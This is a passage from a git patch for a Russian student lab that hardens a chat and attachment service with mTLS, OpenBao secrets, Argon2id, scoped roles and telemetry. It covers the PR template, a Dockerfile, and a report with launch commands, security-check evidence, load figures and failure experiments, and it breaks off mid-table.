From 4afb2ac7b9690565523c3221c3e119a078526361 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=D0=9C=D0=B0=D0=BA=D1=81=D0=B8=D0=BC=20=D0=A8=D0=B5=D0=BF?= =?UTF-8?q?=D1=82=D1=83=D0=BD=D0=BE=D0=B2?= Date: Wed, 11 Nov 2026 13:53:51 +0300 Subject: [PATCH 1/5] lab7 --- .github/pull_request_template.md | 42 +- Dockerfile | 24 + REPORT.md | 239 +++- compose.yaml | 352 ++++++ contracts/trust-matrix.md | 30 +- evidence/README.md | 26 +- evidence/argon2-cost.txt | 2 + evidence/bootstrap.txt | 158 +++ evidence/build.txt | 52 + evidence/check.txt | 2 + evidence/dependency-resolution.txt | 45 + evidence/dev-install.txt | 95 ++ evidence/expiry.txt | 19 + evidence/failover-1.txt | 4 + evidence/failover-2.txt | 4 + evidence/failover-hook.txt | 2 + evidence/hardening.txt | 21 + evidence/http-security.txt | 4 + evidence/image-rescan-app.txt | 15 + evidence/image-rescan-base.txt | 25 + evidence/image-scan-run.txt | 150 +++ evidence/incidents.txt | 12 + evidence/lab6-baseline.sha256 | 182 +++ evidence/load-data-after.txt | 3 + evidence/load-data-before.txt | 3 + evidence/load-resources.txt | 126 ++ evidence/load.json | 17 + evidence/load.txt | 17 + evidence/login-budget.txt | 2 + evidence/openbao-lifecycle.txt | 5 + evidence/persistence-after.txt | 14 + evidence/persistence-before.txt | 14 + evidence/persistence.txt | 3 + evidence/pip-audit-final.json | 1 + evidence/pip-audit-final.stderr.txt | 3 + evidence/pip-audit.json | 1 + evidence/pip-audit.stderr.txt | 3 + evidence/pip-check.txt | 1 + evidence/public-security.txt | 2 + evidence/rotation-collector.txt | 21 + evidence/rotation-db.txt | 11 + evidence/rotation-leaf.txt | 10 + evidence/rotation-s3.txt | 12 + evidence/smoke.txt | 2 + evidence/source-audit.txt | 9 + evidence/start-infra.txt | 113 ++ evidence/telemetry-audit.txt | 20 + evidence/trivy-app.txt | 839 +++++++++++++ evidence/trivy-bao.txt | 34 + evidence/trivy-collector.txt | 356 ++++++ evidence/trivy-db.txt | 1039 +++++++++++++++++ evidence/trivy-gateway.txt | 325 ++++++ evidence/trivy-grafana.txt | 627 ++++++++++ evidence/trivy-loki.txt | 274 +++++ evidence/trivy-mc.txt | 856 ++++++++++++++ evidence/trivy-minio.txt | 12 + evidence/trivy-prometheus.txt | 511 ++++++++ evidence/trivy-redis.txt | 534 +++++++++ evidence/trivy-tempo.txt | 394 +++++++ evidence/trust.txt | 84 ++ evidence/validate.txt | 2 + infra/db-entrypoint.sh | 8 + infra/haproxy.cfg | 43 + infra/minio-entrypoint.sh | 5 + infra/openbao/README.md | 24 +- infra/openbao/api.hcl | 6 + infra/openbao/dispatcher.hcl | 6 + infra/openbao/operator.hcl | 12 + infra/openbao/reconciler.hcl | 6 + infra/openbao/server.hcl | 19 + infra/openbao/worker.hcl | 6 + infra/otel/alerts.yaml | 44 + infra/otel/collector.yaml | 100 ++ infra/otel/grafana/dashboards/lab7.json | 484 ++++++++ .../provisioning/dashboards/provider.yaml | 6 + infra/otel/loki.yaml | 34 + infra/otel/prometheus.yaml | 25 + infra/otel/recording.yaml | 28 + infra/otel/tempo.yaml | 25 + infra/pg-init.sh | 10 + infra/pg_hba.conf | 3 + infra/redis.conf | 10 + infra/s3.Dockerfile | 27 + infra/s3/api.json | 49 + infra/s3/reconciler.json | 31 + infra/s3/worker.json | 35 + infra/tls/broker.cfg | 15 + infra/tls/collector.cfg | 27 + infra/tls/loki.cfg | 17 + infra/tls/prometheus.cfg | 15 + infra/tls/tempo.cfg | 21 + migrations/001_initial.sql | 36 + migrations/002_idempotency.sql | 10 + migrations/003_attachments.sql | 41 + migrations/004_pipeline.sql | 57 + migrations/005_observability.sql | 2 + migrations/006_security.sql | 33 + migrations/007_private_database.sql | 1 + requirements.runtime.lock | 44 + requirements.txt | 21 + scripts/api_health.py | 5 + scripts/bao_operator.py | 167 +++ scripts/bootstrap_s3.sh | 25 + scripts/local_pki.py | 188 +++ scripts/restart.sh | 15 + scripts/scan_images.sh | 29 + scripts/start.sh | 13 + scripts/stop-one.sh | 12 + scripts/test_expiry.sh | 11 + scripts/wait_ready.py | 30 + security/SCAN_TRIAGE.md | 18 + security/THREAT_MODEL.md | 47 +- src/__init__.py | 0 src/attachments.py | 175 +++ src/auth_budget.py | 38 + src/bao.py | 96 ++ src/broker.py | 43 + src/cleanup.py | 59 + src/config.py | 31 + src/dispatcher.py | 41 + src/errors.py | 7 + src/faults.py | 19 + src/image_pipeline.py | 72 ++ src/jobs.py | 194 +++ src/launch.py | 69 ++ src/main.py | 627 ++++++++++ src/migrate.py | 29 + src/storage.py | 73 ++ src/telemetry.py | 208 ++++ src/worker.py | 225 ++++ student-tests/argon2_cost.py | 36 + student-tests/hardening.py | 36 + student-tests/http_security.py | 151 +++ student-tests/incidents.py | 116 ++ student-tests/lifecycle.py | 201 ++++ student-tests/telemetry_audit.py | 78 ++ student-tests/telemetry_probe.py | 89 ++ student-tests/trust.py | 251 ++++ 138 files changed, 12659 insertions(+), 56 deletions(-) create mode 100644 Dockerfile create mode 100644 compose.yaml create mode 100644 evidence/argon2-cost.txt create mode 100644 evidence/bootstrap.txt create mode 100644 evidence/build.txt create mode 100644 evidence/check.txt create mode 100644 evidence/dependency-resolution.txt create mode 100644 evidence/dev-install.txt create mode 100644 evidence/expiry.txt create mode 100644 evidence/failover-1.txt create mode 100644 evidence/failover-2.txt create mode 100644 evidence/failover-hook.txt create mode 100644 evidence/hardening.txt create mode 100644 evidence/http-security.txt create mode 100644 evidence/image-rescan-app.txt create mode 100644 evidence/image-rescan-base.txt create mode 100644 evidence/image-scan-run.txt create mode 100644 evidence/incidents.txt create mode 100644 evidence/lab6-baseline.sha256 create mode 100644 evidence/load-data-after.txt create mode 100644 evidence/load-data-before.txt create mode 100644 evidence/load-resources.txt create mode 100644 evidence/load.json create mode 100644 evidence/load.txt create mode 100644 evidence/login-budget.txt create mode 100644 evidence/openbao-lifecycle.txt create mode 100644 evidence/persistence-after.txt create mode 100644 evidence/persistence-before.txt create mode 100644 evidence/persistence.txt create mode 100644 evidence/pip-audit-final.json create mode 100644 evidence/pip-audit-final.stderr.txt create mode 100644 evidence/pip-audit.json create mode 100644 evidence/pip-audit.stderr.txt create mode 100644 evidence/pip-check.txt create mode 100644 evidence/public-security.txt create mode 100644 evidence/rotation-collector.txt create mode 100644 evidence/rotation-db.txt create mode 100644 evidence/rotation-leaf.txt create mode 100644 evidence/rotation-s3.txt create mode 100644 evidence/smoke.txt create mode 100644 evidence/source-audit.txt create mode 100644 evidence/start-infra.txt create mode 100644 evidence/telemetry-audit.txt create mode 100644 evidence/trivy-app.txt create mode 100644 evidence/trivy-bao.txt create mode 100644 evidence/trivy-collector.txt create mode 100644 evidence/trivy-db.txt create mode 100644 evidence/trivy-gateway.txt create mode 100644 evidence/trivy-grafana.txt create mode 100644 evidence/trivy-loki.txt create mode 100644 evidence/trivy-mc.txt create mode 100644 evidence/trivy-minio.txt create mode 100644 evidence/trivy-prometheus.txt create mode 100644 evidence/trivy-redis.txt create mode 100644 evidence/trivy-tempo.txt create mode 100644 evidence/trust.txt create mode 100644 evidence/validate.txt create mode 100644 infra/db-entrypoint.sh create mode 100644 infra/haproxy.cfg create mode 100644 infra/minio-entrypoint.sh create mode 100644 infra/openbao/api.hcl create mode 100644 infra/openbao/dispatcher.hcl create mode 100644 infra/openbao/operator.hcl create mode 100644 infra/openbao/reconciler.hcl create mode 100644 infra/openbao/server.hcl create mode 100644 infra/openbao/worker.hcl create mode 100644 infra/otel/alerts.yaml create mode 100644 infra/otel/collector.yaml create mode 100644 infra/otel/grafana/dashboards/lab7.json create mode 100644 infra/otel/grafana/provisioning/dashboards/provider.yaml create mode 100644 infra/otel/loki.yaml create mode 100644 infra/otel/prometheus.yaml create mode 100644 infra/otel/recording.yaml create mode 100644 infra/otel/tempo.yaml create mode 100755 infra/pg-init.sh create mode 100644 infra/pg_hba.conf create mode 100644 infra/redis.conf create mode 100644 infra/s3.Dockerfile create mode 100644 infra/s3/api.json create mode 100644 infra/s3/reconciler.json create mode 100644 infra/s3/worker.json create mode 100644 infra/tls/broker.cfg create mode 100644 infra/tls/collector.cfg create mode 100644 infra/tls/loki.cfg create mode 100644 infra/tls/prometheus.cfg create mode 100644 infra/tls/tempo.cfg create mode 100644 migrations/001_initial.sql create mode 100644 migrations/002_idempotency.sql create mode 100644 migrations/003_attachments.sql create mode 100644 migrations/004_pipeline.sql create mode 100644 migrations/005_observability.sql create mode 100644 migrations/006_security.sql create mode 100644 migrations/007_private_database.sql create mode 100644 requirements.runtime.lock create mode 100644 requirements.txt create mode 100644 scripts/api_health.py create mode 100644 scripts/bao_operator.py create mode 100644 scripts/bootstrap_s3.sh create mode 100644 scripts/local_pki.py create mode 100755 scripts/restart.sh create mode 100755 scripts/scan_images.sh create mode 100755 scripts/start.sh create mode 100755 scripts/stop-one.sh create mode 100755 scripts/test_expiry.sh create mode 100644 scripts/wait_ready.py create mode 100644 security/SCAN_TRIAGE.md create mode 100644 src/__init__.py create mode 100644 src/attachments.py create mode 100644 src/auth_budget.py create mode 100644 src/bao.py create mode 100644 src/broker.py create mode 100644 src/cleanup.py create mode 100644 src/config.py create mode 100644 src/dispatcher.py create mode 100644 src/errors.py create mode 100644 src/faults.py create mode 100644 src/image_pipeline.py create mode 100644 src/jobs.py create mode 100644 src/launch.py create mode 100644 src/main.py create mode 100644 src/migrate.py create mode 100644 src/storage.py create mode 100644 src/telemetry.py create mode 100644 src/worker.py create mode 100644 student-tests/argon2_cost.py create mode 100644 student-tests/hardening.py create mode 100644 student-tests/http_security.py create mode 100644 student-tests/incidents.py create mode 100644 student-tests/lifecycle.py create mode 100644 student-tests/telemetry_audit.py create mode 100644 student-tests/telemetry_probe.py create mode 100644 student-tests/trust.py diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md index 8aef0ff..9c51968 100644 --- a/.github/pull_request_template.md +++ b/.github/pull_request_template.md @@ -1,18 +1,32 @@ ## Лабораторная 7 -Автор / группа: TODO -Целевая оценка (3/4/5): TODO -Трек 5, если заявлен: TODO +**Автор / группа** — Максим Шептунов, БВТ2301 +**Целевая оценка** — 4 -Что реализовано и что перенесено: TODO -Команды запуска из чистого clone: TODO -Результаты проверок и ссылка на REPORT.md: TODO -Ограничения / известные ошибки: TODO -Источники и использование ИИ: TODO +Перенесены REST API, PostgreSQL, Redis Streams, асинхронные вложения, +три сигнала OTel и Grafana. Добавлены HTTPS/mTLS, scoped DB/Redis/S3 roles, +OpenBao cert auth, короткий lease и ротация. Пароли хранятся с Argon2id, +аутентификация имеет общий бюджет на две реплики. -- [ ] Весь обязательный минимум текущей и предыдущих работ сохранён с объявленными переходами. -- [ ] Контракт и публичные тесты не ослаблены. -- [ ] make check и make test выполнены; приложен реальный вывод. -- [ ] Сценарии отказов/безопасности своего уровня воспроизведены. -- [ ] Все секреты и приватные ключи находятся вне Git; отчёт не содержит tokens. -- [ ] README задания сохранён, REPORT.md содержит инструкцию именно моего решения. +**Запуск** — `scripts/start.sh`, затем +`make test CA_FILE="$PWD/secrets/authority/ca.crt"`. +Порядок оператора, порты и команды проверок в [REPORT.md](../REPORT.md). + +**Доказательства** — публичный HTTPS smoke, TLS/ACL audit, restart с прежней +сессией и отказ каждой API, проверки login budget, expiry, rehash и ротации. +[Evidence](../evidence/README.md) · [Матрица доверия](../contracts/trust-matrix.md). + +**Ограничения** — один Docker host, singleton хранилища, короткий перерыв при +ротации, остаточные находки сканеров описаны по применимости. +[Разбор](../security/SCAN_TRIAGE.md). + +Использованы skeleton lab7, реализация lab6 и официальная документация. +Результаты получены на запущенном стенде. Источники и сведения о подготовке +работы указаны в [отчёте](../REPORT.md). + +- [x] Обязательный REST API и обязательные возможности прошлых работ сохранены. +- [x] Контракт и публичные тесты не ослаблены. +- [x] `make check` и `make test` выполнены, вывод приложен. +- [x] Сценарии отказов и безопасности воспроизведены. +- [x] Секреты и приватные ключи исключены из Git и образов. +- [x] README задания сохранён, REPORT содержит команды решения. diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..fa5ff54 --- /dev/null +++ b/Dockerfile @@ -0,0 +1,24 @@ +FROM python:3.12.10-slim-bookworm + +ENV PYTHONDONTWRITEBYTECODE=1 \ + PYTHONUNBUFFERED=1 \ + APP_HOST=0.0.0.0 \ + APP_PORT=8080 + +WORKDIR /app + +COPY requirements.txt requirements.runtime.lock ./ +RUN pip install --no-cache-dir --requirement requirements.runtime.lock \ + && groupadd --system --gid 10001 app \ + && useradd --system --uid 10001 --gid app --home-dir /nonexistent --shell /usr/sbin/nologin app + +COPY --chown=app:app src ./src +COPY --chown=app:app migrations ./migrations +COPY --chown=app:app scripts ./scripts +COPY --chown=app:app student-tests ./student-tests +COPY --chown=app:app contracts ./contracts +COPY --chown=app:app lab.json ./lab.json + +USER 10001:10001 + +CMD ["python", "-m", "src.launch", "api"] diff --git a/REPORT.md b/REPORT.md index 9801db4..c7d265a 100644 --- a/REPORT.md +++ b/REPORT.md @@ -1,37 +1,246 @@ # Отчёт — лабораторная 7 -- Автор, группа: TODO -- Целевая оценка; выбранный трек 5, если нужен: TODO -- Commit/PR: TODO после публикации -- Использованные источники, библиотеки и помощь ИИ: TODO +- **Автор, группа** — Максим Шептунов, БВТ2301. +- **Целевая оценка** — 4. +- **Commit/PR** — работа в локальном checkout, публикация ожидает отдельной команды. +- **Источники, библиотеки и помощь ИИ** — skeleton lab7 и собственная lab6. ИИ использован при подготовке реализации, тестов и отчёта. [OWASP Password Storage](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html) · [OpenBao cert auth](https://openbao.org/docs/auth/cert/) · [OpenBao tokens](https://openbao.org/docs/concepts/tokens/) · [HAProxy 3.0](https://www.haproxy.com/documentation/haproxy-configuration-manual/new/3-0r1/) · [OTLP exporter](https://opentelemetry.io/docs/specs/otel/protocol/exporter/). ## Запуск из чистого clone -TODO: версии runtime/образов, prerequisites, команды создания локальных secrets/.env, build, миграций, запуска, ожидания готовности, тестов и остановки. Указать необходимые действия оператора. Не вставлять секреты. Отдельно указать безопасную остановку и команду намеренного удаления учебных данных. +Команды выполняются в `~/visotka/mtusi2026lab7` внутри WSL Ubuntu 22.04 с +Docker Desktop/Compose v2, Python 3.10+, Bash, OpenSSL и доступом к registries. +Нужны свободные порты 8443, 8207, 3007 и место под образы и volumes. + +```bash +python3 -m venv .venv +.venv/bin/pip install -r requirements-dev.txt +make check +make validate PYTHON=.venv/bin/python + +scripts/start.sh +export CA_FILE="$PWD/secrets/authority/ca.crt" +make test CA_FILE="$CA_FILE" +make test-security CA_FILE="$CA_FILE" +docker compose run --rm --no-deps -T audit +python3 student-tests/http_security.py http +python3 student-tests/telemetry_audit.py +python3 student-tests/hardening.py +``` + +`start.sh` создаёт локальные TLS-материалы и credentials в `secrets/`, проверяет +Compose, собирает приложение и `mc`, подготавливает владельцев volumes, запускает +хранилища. Операторский этап инициализирует и распечатывает OpenBao, создаёт cert +auth, политики и KV v2 и отзывает начальный root token. Далее `migrate` применяет +SQL, `s3-bootstrap` задаёт приватный bucket и IAM. HAProxy проверяет API readiness +по mTLS. `wait_ready.py` наблюдает два разных alias по HTTPS. + +Оператор хранит ключ CA и три unseal shares с порогом 2 в защищённой папке хоста. +Файл shares создаётся с правами 0600 и не монтируется в контейнеры. +После рестарта OpenBao запустите `python3 -m scripts.bao_operator unseal`. +Обычный рестарт API использует сохранённый cert и работающий OpenBao. +Повторный `scripts/start.sh` использует существующие CA, credentials, volumes и +миграции. Срок leaf — 7 дней. Публичный CA можно передать проверяющему. + +Ingress — `https://localhost:8443`. Grafana — `https://localhost:3007/d/lab7`, +логин `admin`, пароль в `secrets/bootstrap/grafana/admin`. OpenBao API оператора — +`https://localhost:8207` с клиентским сертификатом. Все три опубликованных порта +привязаны к 127.0.0.1. MinIO admin используется из одноразового контейнера через +внутренний TLS. Операторские файлы и закрытые ключи исключены из Git и build context. + +Проверки с изменением состояния выполняются последовательно. + +```bash +python3 student-tests/http_security.py budget +scripts/test_expiry.sh +python3 student-tests/lifecycle.py db +python3 student-tests/lifecycle.py s3 +python3 student-tests/lifecycle.py leaf +python3 student-tests/lifecycle.py collector +python3 student-tests/lifecycle.py bao +make test-persistence CA_FILE="$CA_FILE" ACTION_SCRIPT=scripts/restart.sh +make test-failover CA_FILE="$CA_FILE" ACTION_SCRIPT=scripts/stop-one.sh +docker compose start api +python3 scripts/wait_ready.py +python3 student-tests/incidents.py +``` + +Безопасная остановка — `docker compose stop`. Команда намеренного сброса +учебных данных проекта — `docker compose down --volumes`. В ходе работы +она не выполнялась. + +| Компонент | Версия | +| --- | --- | +| Python / FastAPI / Starlette / psycopg / Pillow | 3.12.10 / 0.162.4 / 1.7.0 / 3.2.9 / 12.3.0. Lock в `requirements.runtime.lock` | +| OTel Python / Collector contrib | 1.45.2 / 0.123.0 | +| PostgreSQL / Redis Streams / HAProxy | 16.9-bookworm / 7.4.3-bookworm / 3.0.11-bookworm | +| MinIO / mc | Chainguard RELEASE.2026-11-09 по SHA-256 в Compose / RELEASE.2025-04-16T18-13-26Z с проверкой SHA-256 | +| Prometheus / Loki / Tempo / Grafana | v3.2.1 / 3.4.2 / 2.7.2 / 11.6.0-ubuntu | +| OpenBao | 2.7.2, Raft с одним узлом | ## Архитектура и решения -TODO: схема процессов/хранилищ, источник истины, транзакционные границы, ограничения. Что перенесено из lab6, что изменено в этой работе. Соответствие переменных из .env.example реальной конфигурации. +Перенесены две API-реплики, REST-контракт, идемпотентность, keyset cursor, +PostgreSQL, приватный S3, durable staging и outbox, Redis Streams, dispatcher, +worker, lease/fencing, reconciler, thumbnail/crop/optimized, OTel dashboard +и alert rules. Сессии и чтение профилей идут через PostgreSQL. Необязательный +кэш профилей убран при переходе на scoped credentials. В матрицу внесены +конфигурация и доказательства. [Матрица](contracts/trust-matrix.md). + +```mermaid +flowchart LR + Client -->|HTTPS| LB + LB -->|mTLS| API["API ×2"] + API -->|TLS SCRAM| DB[(PostgreSQL)] + API -->|TLS SigV4 staging| S3[(MinIO)] + DB -->|outbox через TLS| Dispatcher + Dispatcher -->|mTLS producer ACL| Redis[(Redis Streams)] + Redis -->|mTLS consumer ACL| Worker + Worker -->|TLS| DB + Worker -->|TLS originals variants| S3 + Reconciler -->|TLS| S3 + API -->|cert auth KV| Bao[(OpenBao Raft)] + Worker -->|cert auth KV| Bao + Dispatcher -->|cert auth KV| Bao + Reconciler -->|cert auth KV| Bao + API -->|OTLP mTLS| Collector + Worker -->|OTLP mTLS| Collector + Collector -->|mTLS| Loki + Collector -->|mTLS| Tempo + Prometheus -->|mTLS scrape| Collector + Grafana -->|mTLS query| Prometheus + Grafana -->|mTLS query| Loki + Grafana -->|mTLS query| Tempo +``` + +PostgreSQL — источник истины для пользователей, чатов, сессий, метаданных, +идемпотентности и состояния job. API отдаёт 202 после сохранения проверенных +bytes в staging и COMMIT метаданных/job/outbox. Dispatcher публикует с AOF и +отмечает публикацию в отдельной транзакции. Повтор после crash допустим. +Worker делает effects по устойчивым object keys, проверяет lease token перед +публикацией ready и ACK после обработки. Вложения читаются через API после +проверки membership. Исходный SHA-256 сохраняется. JPEG-варианты quality 82, +WebP quality 82 / method 4, метаданные вариантов удалены. Keyset сортирует по +`(created_at,id)`; конкурентные вставки не создают snapshot между страницами. + +Пароль — Argon2id с библиотечным salt, m=19456 KiB, t=2, p=1. После успешной +проверки старый hash обновляется условным UPDATE вместе с созданием сессии. +В PostgreSQL хранится SHA-256 от случайных 32 байт bearer. Для неизвестного +username используется dummy Argon2id. DB принимает 24 попытки входа на обе +реплики за 10 секунд и отдельный аналогичный бюджет регистрации. Два KDF slots +в каждом процессе ограничивают память при всплеске. Ответ 429 содержит +Retry-After. JSON body ограничен 64 KiB, файл — 10 MiB / 40 MP. Worker получает +1 CPU / 768 MiB и обрабатывает один job одновременно. Дочерний декодер работает +с RLIMIT_AS 512 MiB и deadline 30 с. + +Readiness требует PostgreSQL, S3 и свежий локальный lease credentials. Broker, +worker и telemetry не входят в синхронный путь. Liveness маршрутизируется +отдельно и не проверяет зависимости. Cert auth выдаёт app token на 30 с, +renew-self просит 30 с, абсолютный предел token — 300 с, дальше re-auth. +Процесс использует текущие credentials до ранее выданного lease, максимум +30 с от успешной проверки. Изменение KV не продлевает lease старого набора +credentials. Для применения нового набора процесс перезапускается. Ротация +leaf LB обновляет pin по serial на обеих API и перезапускает LB, закрывая +старые соединения. Broker и Collector после проверки CA сверяют точный CN, +который назначает оператор. API сверяет SAN и активный serial. Loki и Tempo +сверяют CN и SHA-256 leaf выделенного Collector exporter. Ротация этого +leaf перезапускает только telemetry proxies и backend-процессы. Политики +запроса Grafana при этом сохраняются. + +Compose использует `SESSION_TTL_SECONDS` с default 3600. Host/port API, +реплики, S3, лимиты и OTLP заданы в `compose.yaml` и `src/config.py`. +`DATABASE_URL`, S3 и broker credentials читаются из KV по `BAO_ROLE`. +Файлы CA/cert/key монтируются под `/pki`, адрес OpenBao — +`https://openbao:8200`. Параметры Argon2 заданы в приложении, идемпотентность +24 ч, session store PostgreSQL. Остальные ключи `.env.example` описывают +логический интерфейс skeleton. Для запуска `.env` не требуется. + +Метрики OTel экспортируются как `app_http_requests_total`, +`app_http_duration_seconds_bucket`, `jobs_processed_total`, +`job_duration_seconds_bucket`, `queue_depth`, `queue_oldest_age_seconds`, +`attachment_ready_seconds_bucket`, pool/worker/process gauges. +Маршрут — шаблон, ошибка — класс или машинный код. Числитель error ratio — +5xx бизнес-API, знаменатель — все бизнес-ответы, health исключён. W3C +traceparent из durable job связывает HTTP, producer, consumer, S3 и DB. +Сигналы читаются через provisioned Grafana и ограниченный operator probe. ## Доказательства критериев | Критерий README | Команда/сценарий | Наблюдаемый результат | Файл доказательства | | --- | --- | --- | --- | -| Публичный smoke | make test | TODO | TODO | -| Остальные пункты уровня 3 | TODO | TODO | TODO | -| Все пункты уровня 4, если заявлен | TODO | TODO | TODO | -| Выбранный трек 5, если заявлен | TODO | TODO | TODO | - -TODO: добавить отдельную строку для каждого заявленного критерия. PASS без команды и наблюдения не является доказательством. Проверка инфраструктурного hook требует подтверждения, какие реальные процессы/хранилища перезапущены. +| Offline структура и OpenAPI | `make check`, `make validate PYTHON=.venv/bin/python` | Обе проверки PASS | [check](evidence/check.txt), [validate](evidence/validate.txt) | +| Публичный HTTPS smoke | `make test CA_FILE="$CA_FILE"` | Пользователи/ACL, история, идемпотентность, upload/thumbnail, logout PASS | [smoke](evidence/smoke.txt) | +| TLS ingress и auth | `make test-security`, `http_security.py http`, `scripts/test_expiry.sh` | CA и hostname проверены, чужой файл 404, forged header не меняет Bearer, logout/expiry 401 | [TLS](evidence/public-security.txt), [HTTP ACL](evidence/http-security.txt), [expiry](evidence/expiry.txt) | +| Обязательное mTLS LB → API | `docker compose run --rm --no-deps -T audit` | Две реплики приняли активный LB. Отсутствие cert, чужой CA и чужая identity того же CA отклонены | [TLS/ACL](evidence/trust.txt) | +| Шифрование всех связей, роли и приватный bucket | `docker compose run --rm --no-deps -T audit` | 83 проверки. DB verify-full, plaintext и SAN mismatch отвергнуты. S3 и DB deny подтверждены, plaintext backend ports закрыты в bridge | [TLS/ACL](evidence/trust.txt), [матрица](contracts/trust-matrix.md) | +| OpenBao non-dev и сервисные политики | `scripts/start.sh`, `docker compose run --rm --no-deps -T audit` | Cert login у четырёх ролей, чужой KV и запись policy 403 | [TLS/ACL](evidence/trust.txt) | +| mTLS broker и Collector | `docker compose run --rm --no-deps -T audit` | Допущены нужные роли. Отсутствие cert, чужой CA и same-CA intruder отклонены, в broker даже с верным паролем. Redis ACL разделяет команды | [TLS/ACL](evidence/trust.txt) | +| Argon2id, rehash, token hash, общий rate limit | `http_security.py http/budget`, `argon2_cost.py` в API | Старый hash заменён, bearer хранится как hash. Две реплики суммарно допустили 24 проверки на окно, Retry-After на 429 | [rehash](evidence/http-security.txt), [budget](evidence/login-budget.txt), [KDF](evidence/argon2-cost.txt) | +| Secret/leaf rotation и OpenBao lifecycle | `lifecycle.py db/s3/leaf/collector/bao` | Старые DB/S3 secrets и оба leaf отклонены на новых соединениях. Ротация без rebuild, renew/revoke и sealed grace проверены | [DB](evidence/rotation-db.txt), [S3](evidence/rotation-s3.txt), [LB](evidence/rotation-leaf.txt), [Collector](evidence/rotation-collector.txt), [Bao](evidence/openbao-lifecycle.txt) | +| Hardening и worker limits | `python3 student-tests/hardening.py` и `http_security.py http` | Read-only root, drop ALL, no-new-privileges, CPU/RAM/PID limits. Явные caps DB нужны для init/смены uid. Превышение размера даёт 413 | [inspect](evidence/hardening.txt), [HTTP](evidence/http-security.txt) | +| Сканирование с применимостью | `scripts/scan_images.sh`, `pip-audit --no-deps --disable-pip -r requirements.runtime.lock` | 12 образов, зависимости и повтор после обновлений, разобраны достижимые пути и остаточные риски | [triage](security/SCAN_TRIAGE.md), [pip-audit](evidence/pip-audit-final.json) | +| Модель угроз и telemetry audit | `python3 student-tests/telemetry_audit.py` | Связь upload→worker видна в Loki/Tempo, Prometheus и Grafana проверены, canaries не найдены | [угрозы](security/THREAT_MODEL.md), [signals](evidence/telemetry-audit.txt) | +| Сохранность и отказ каждой API | `make test-persistence` и два `make test-failover` | Сессия и данные пережили перезапуск хранилищ. Запись восстановилась через вторую реплику в каждом тесте | [persistence](evidence/persistence.txt), [до](evidence/persistence-before.txt), [после](evidence/persistence-after.txt), [failover 1](evidence/failover-1.txt), [failover 2](evidence/failover-2.txt) | ## Эксперименты и отказы -TODO: гипотеза, hardware/лимиты, версии, объём данных, профиль нагрузки, concurrency/arrival rate, длительность/прогрев, повторы, успешные RPS, ошибки, p50/p95/p99, CPU/RAM. Сохранить raw summary без tokens и объяснить ограничения измерения. +Среда — Intel Core i5-1240P, 16 видимых CPU, Docker VM 7.63 GiB, Ubuntu +22.04.5 / Docker Server 26.1.1 / Compose 2.27.0-desktop.2. API по 1 CPU и +512 MiB. В login тесте 38 последовательных синтетических запросов в одном окне +дали 24 × 401 и 14 × 429 за 1.870 с, p95 для 401 — 132.966 мс. +Всплеск 72 запросов при concurrency 12 дал 16 × 401 и 56 × 429 за 0.765 с, +p95 всех ответов — 304.521 мс. Параллельный KDF ограничен двумя слотами +на процесс, поэтому часть допущенных DB бюджетом запросов получает 429 +до KDF. Замеры включают TLS, DB, ожидание CPU и накладные расходы WSL. +[Бюджет входа](evidence/login-budget.txt). + +Argon2id измерен внутри cgroup API, по 50 verify после одного hash. +При одном потоке p50 19.099 мс, p95 21.590 мс и peak RSS 44.676 MiB. +При двух потоках p50 22.438 мс, p95 73.689 мс и peak RSS 63.691 MiB. +Два параллельных рабочих буфера KDF укладываются в лимит реплики, а общий +бюджет ограничивает число допущенных попыток. [Замер KDF](evidence/argon2-cost.txt). + +Один замер обычной записи после smoke и сценариев отказа. Команда +`python3 tests/load.py --duration 30 --concurrency 4 --ca-file "$CA_FILE" --output evidence/load.json`. +Closed-loop concurrency 4, 30.046 с, отдельного прогрева в генераторе нет. +До замера в БД 31 пользователь, 262 сообщения, 12 вложений. После — 34, +4488 и 12 соответственно. Успешных POST 4226, ошибок 0, 140.649 RPS. +p50/p95/p99 успешных POST — 25.248 / 48.340 / 97.975 мс. Максимумы +снятых samples API — около 100% одного CPU и 282.4/276.1 MiB. +PostgreSQL — 41.69% и 46.6 MiB, Collector — 11.11% и 72.64 MiB. +Показатели CPU/RAM относятся к периодическим samples, latency зависит от +closed-loop клиента и фоновой telemetry. [Нагрузка](evidence/load.json) · [Ресурсы](evidence/load-resources.txt). | Воздействие | Что ожидаем | Что наблюдали | Время восстановления / потеря данных | | --- | --- | --- | --- | -| TODO | TODO | TODO | TODO | +| API: старый пароль после `ALTER ROLE` и завершения DB sessions | Старый пароль не открывает новую TLS-сессию | Старый пароль отклонён, новый работает, image ID тот же | 8.784 с до двух готовых alias. [Лог](evidence/rotation-db.txt) | +| Новый leaf LB с тем же SAN | Предыдущий leaf отклонён на каждой API | Две API отвергли прежний serial, новый допущен, image ID тот же | 5.452 с до проверки двух API. [Лог](evidence/rotation-leaf.txt) | +| Новый пароль IAM API в S3 | Старый пароль не подписывает новый запрос SigV4 | Старый ключ отклонён с 403, новый разрешён, image ID тот же | 10.136 с до двух готовых API. [Лог](evidence/rotation-s3.txt) | +| Новый exporter leaf Collector | Loki и Tempo отклоняют прежний fingerprint | Прежний leaf 403 на обоих backend, новый проходит, image IDs те же | 7.716 с до проверки. [Лог](evidence/rotation-collector.txt) | +| Seal OpenBao | Короткий lease, затем отказ работы при живом процессе | Readiness 200 → 503 через 28.454 с, liveness 200 | После unseal прежняя сессия снова работала через 9.229 с. [Лог](evidence/openbao-lifecycle.txt) | +| Перезапуск API и хранилищ | Старая сессия, история и файл сохраняются | Публичный persistence PASS. StartedAt обновился у хранилищ и обеих API, volumes совпали | [Лог](evidence/persistence.txt) | +| Отказ API по alias | Оставшаяся API пишет, неопределённый POST безопасно повторяется | Остановлены разные контейнеры. 112 и 118 успешных записей, по 3 переходных ошибки, восстановление через 2.195 и 1.693 с. Подтверждённые записи сохранены | [Первый](evidence/failover-1.txt) · [Второй](evidence/failover-2.txt) | +| Worker остановлен, upload принят | Растут depth/age, после запуска ready и alert resolved | Depth 1, oldest age 37.344 с, alert firing через 38.781 с. После старта ready за 1.582 с, alert resolved за 24.034 с | [Лог](evidence/incidents.txt) | +| DB: блокировка таблицы messages | Readiness работает, бизнес-путь показывает lock timeout | 5 HTTP 503 за 2016–2026 мс, trace содержит db.execute / LockNotAvailable. Первая запись после снятия lock — 24.260 мс | [Лог](evidence/incidents.txt) | +| Остановлен 